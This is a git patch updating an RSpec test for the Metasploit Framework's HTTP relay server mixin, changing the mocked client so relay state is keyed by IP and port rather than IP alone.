2153daad7be5adb83d84c9804bde987f7670114b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 29 Apr 2026 14:38:29 -0400 Subject: [PATCH 2/2] Update the specs --- spec/lib/msf/core/exploit/remote/relay/http_spec.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/remote/relay/http_spec.rb b/spec/lib/msf/core/exploit/remote/relay/http_spec.rb index abbd2218f9..2ff63f5858 100644 --- a/spec/lib/msf/core/exploit/remote/relay/http_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/http_spec.rb @@ -6,6 +6,8 @@ require 'base64' RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do let(:client_ip) { '172.16.199.159' } + let(:client_port) { 54321 } + let(:client_id) { Rex::Socket.to_authority(client_ip, client_port) } def create_request(auth_header = nil) req = Rex::Proto::Http::Request.new @@ -17,6 +19,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do let(:mock_cli) do cli = double('Rex::Proto::Http::ServerClient') allow(cli).to receive(:peerhost).and_return(client_ip) + allow(cli).to receive(:peerport).and_return(client_port) allow(cli).to receive(:keepalive=) allow(cli).to receive(:put) allow(cli).to receive(:send_response) @@ -111,7 +114,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer::Relay do def get_client_state(server) clients = server.instance_variable_get(:@relay_clients) || {} - clients[client_ip] + clients[client_id] end describe 'State Transitions' do